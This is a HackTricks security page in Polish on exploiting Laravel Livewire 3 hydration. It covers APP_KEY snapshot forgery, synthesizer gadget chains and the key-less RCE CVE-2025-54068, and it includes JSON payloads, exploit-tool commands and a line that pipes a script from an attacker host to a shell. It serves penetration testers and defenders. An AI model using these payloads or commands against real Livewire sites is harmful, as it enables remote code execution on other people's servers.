Laravel Livewire Hydration & Synthesizer Abuse

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podsumowanie maszyny stanów Livewire

Komponenty Livewire 3 wymieniają stan za pomocą snapshotów, które zawierają data, memo oraz sumę kontrolną. Każde żądanie POST do /livewire/update ponownie odtwarza snapshot JSON po stronie serwera i wykonuje oczekujące calls/updates.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Każdy, kto posiada APP_KEY (używany do wyprowadzenia $hashKey), może więc sfałszować dowolne snapshoty, ponownie obliczając HMAC.

Złożone właściwości są kodowane jako synthetic tuples wykrywane przez Livewire\Drawer\BaseUtils::isSyntheticTuple(); każda krotka to [value, {"s":"<key>", ...meta}]. Rdzeń hydracji po prostu deleguje każdą krotkę do syntha wybranego w HandleComponents::$propertySynthesizers i rekurencyjnie przetwarza elementy potomne:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Ten rekurencyjny projekt sprawia, że Livewire staje się uniwersalnym silnikiem tworzenia instancji obiektów, gdy atakujący przejmie kontrolę nad metadanymi tuple albo nad dowolną zagnieżdżoną tuple przetwarzaną podczas rekurencji.

Synthesizers that grant gadget primitives

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)Tworzy instancję new $meta['class']($value) po rehydratacji każdego child. Każda klasa z konstruktorem przyjmującym tablicę może zostać utworzona, a każdy element może sam być synthetic tuple.
FormObjectSynth (form)Wywołuje new $meta['class']($component, $path), a następnie przypisuje wszystkie publiczne właściwości z kontrolowanych przez atakującego children za pomocą $hydrateChild. Konstruktory, które akceptują dwa luźno typowane parametry (lub mają domyślne argumenty), wystarczają, by uzyskać dostęp do dowolnych publicznych właściwości.
ModelSynth (mdl)Jeżeli key jest nieobecny w meta, wykonuje return new $class;, pozwalając na utworzenie instancji klasy bez argumentów.

Ponieważ synths wywołują $hydrateChild na każdym zagnieżdżonym elemencie, dowolne grafy gadgetów można budować przez rekursywne układanie tuple.

Forging snapshots when APP_KEY is known

  1. Przechwyć prawidłowe żądanie /livewire/update i zdekoduj components[0].snapshot.
  2. Wstrzyknij zagnieżdżone tuple wskazujące na klasy gadgetów i przelicz checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Ponownie zakoduj snapshot, pozostaw _token/memo bez zmian i odtwórz żądanie.

A minimalny dowód wykonania używa Guzzle’s FnStream i Flysystem’s ShardedPrefixPublicUrlGenerator. Jedna tuple instancjonuje FnStream z danymi konstruktora { "__toString": "phpinfo" }, kolejna instancjonuje ShardedPrefixPublicUrlGenerator z [FnStreamInstance] jako $prefixes. Gdy Flysystem rzutuje każdy prefix na string, PHP wywołuje dostarczalny przez atakującego callable __toString, wywołując dowolną funkcję bez argumentów.

From function calls to full RCE

Wykorzystując prymitywy instancjonowania Livewire, Synacktiv zaadaptował łańcuch phpggc Laravel/RCE4, tak że hydration uruchamia obiekt, którego publiczny stan Queueable wyzwala deserializację:

  1. Queueable trait – każdy obiekt używający Illuminate\Bus\Queueable ujawnia publiczne $chained i wykonuje unserialize(array_shift($this->chained)) w dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) jest instancjonowany przez CollectionSynth / FormObjectSynth z wypełnionym publicznym $chained.
  3. phpggc Laravel/RCE4Adapted – zserializowany blob przechowywany w $chained[0] buduje PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() ostatecznie wywołuje call_user_func_array($closure, $args), umożliwiając system($cmd).
  4. Stealth termination – przekazując drugi callable FnStream, np. [new Laravel\Prompts\Terminal(), 'exit'], żądanie kończy się exit() zamiast głośnego wyjątku, utrzymując odpowiedź HTTP czystą.

Automating snapshot forgery

synacktiv/laravel-crypto-killer teraz zawiera tryb livewire, który łączy to wszystko:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Narzędzie parsuje przechwycony snapshot, wstrzykuje gadget tuples, przelicza sumę kontrolną i wypisuje payload gotowy do wysłania /livewire/update.

CVE-2025-54068 – RCE bez APP_KEY

Według alertu producenta, problem dotyczy Livewire v3 (>= 3.0.0-beta.1 i < 3.6.3) i jest unikalny dla v3.

updates są scalane ze stanem komponentu po tym, jak suma kontrolna snapshotu zostanie zweryfikowana. Jeśli właściwość wewnątrz snapshotu jest (lub stanie się) synthetic tuple, Livewire ponownie wykorzystuje jej meta podczas hydratacji wartości aktualizacji kontrolowanej przez atakującego:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Przepis na exploit:

  1. Znajdź Livewire component z publiczną właściwością bez typu (np. public $count;).
  2. Wyślij update, który ustawia tę właściwość na []. Następny snapshot zapisze ją jako [[], {"s": "arr"}].

A minimalny type-juggling wygląda tak:

POST /livewire/update
...
"updates": {"count": []}

Wtedy następny snapshot zapisze krotkę, która zachowuje arr synth metadata:

"count": [[], {"s": "arr"}]
  1. Przygotuj kolejny updates payload, w którym ta właściwość zawiera głęboko zagnieżdżoną tablicę osadzającą krotki takie jak [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. Podczas rekursji hydrate() ocenia każde zagnieżdżone dziecko niezależnie, więc wybrane przez atakującego synth keys/classes są respektowane, nawet jeśli zewnętrzna krotka i checksum nigdy się nie zmieniły.
  3. Wykorzystaj te same prymitywy CollectionSynth/FormObjectSynth, aby zainicjować Queueable gadget, którego $chained[0] zawiera phpggc payload. Livewire przetwarza sfałszowane updates, wywołuje dispatchNextJobInChain(), i dociera do system(<cmd>) bez znajomości APP_KEY.

Główne powody, dla których to działa:

  • updates nie są objęte snapshot checksum.
  • getMetaForPath() ufa dowolnym synth metadata, które już istniały dla tej właściwości, nawet jeśli atakujący wcześniej wymusił, by stała się krotką poprzez weak typing.
  • Rekursja w połączeniu z weak typing pozwala, by każda zagnieżdżona tablica była interpretowana jako zupełnie nowa krotka, więc dowolne synth keys i dowolne klasy ostatecznie trafiają do hydration.

Livepyre – eksploatacja end-to-end

Livepyre automatyzuje zarówno APP_KEY-less CVE, jak i signed-snapshot path:

  • Odciska wersję Livewire przez parsowanie <script src="/livewire/livewire.js?id=HASH"> i mapowanie hasha na podatne wydania.
  • Zbiera bazowe snapshoty przez odtwarzanie nieszkodliwych akcji i wyodrębnianie components[].snapshot.
  • Generuje albo payload zawierający tylko updates (CVE-2025-54068), albo sfałszowany snapshot (znane APP_KEY) osadzający phpggc chain.
  • Jeśli w snapshotcie nie znaleziono parametru typu object, Livepyre przechodzi do brute-forcingu kandydatów parametrów, żeby znaleźć wymuszalną właściwość.

Typowe użycie:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check uruchamia niedestruktywne sondowanie, -F pomija version gating, -H i -P dodają niestandardowe nagłówki lub proxy, a --function/--param dostosowują php function wywoływaną przez gadget chain.

Rozważania obronne

  • Zaktualizuj do naprawionych buildów Livewire (>= 3.6.4 zgodnie z biuletynem dostawcy) i wdroż poprawkę dostawcy dla CVE-2025-54068.
  • Unikaj słabo typowanych publicznych właściwości w komponentach Livewire; jawne typy skalarne uniemożliwiają konwersję wartości właściwości na arrays/tuples.
  • Zarejestruj tylko te synthesizers, których naprawdę potrzebujesz, i traktuj metadane kontrolowane przez użytkownika ($meta['class']) jako niezaufane.
  • Odrzucaj aktualizacje, które zmieniają typ JSON właściwości (np. scalar -> array), chyba że jest to wyraźnie dozwolone, i ponownie wyprowadzaj synth metadata zamiast ponownego używania przestarzałych tuples.
  • Wymień APP_KEY niezwłocznie po jakimkolwiek ujawnieniu, ponieważ umożliwia to offline snapshot forging bez względu na to, jak załatany jest kod.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks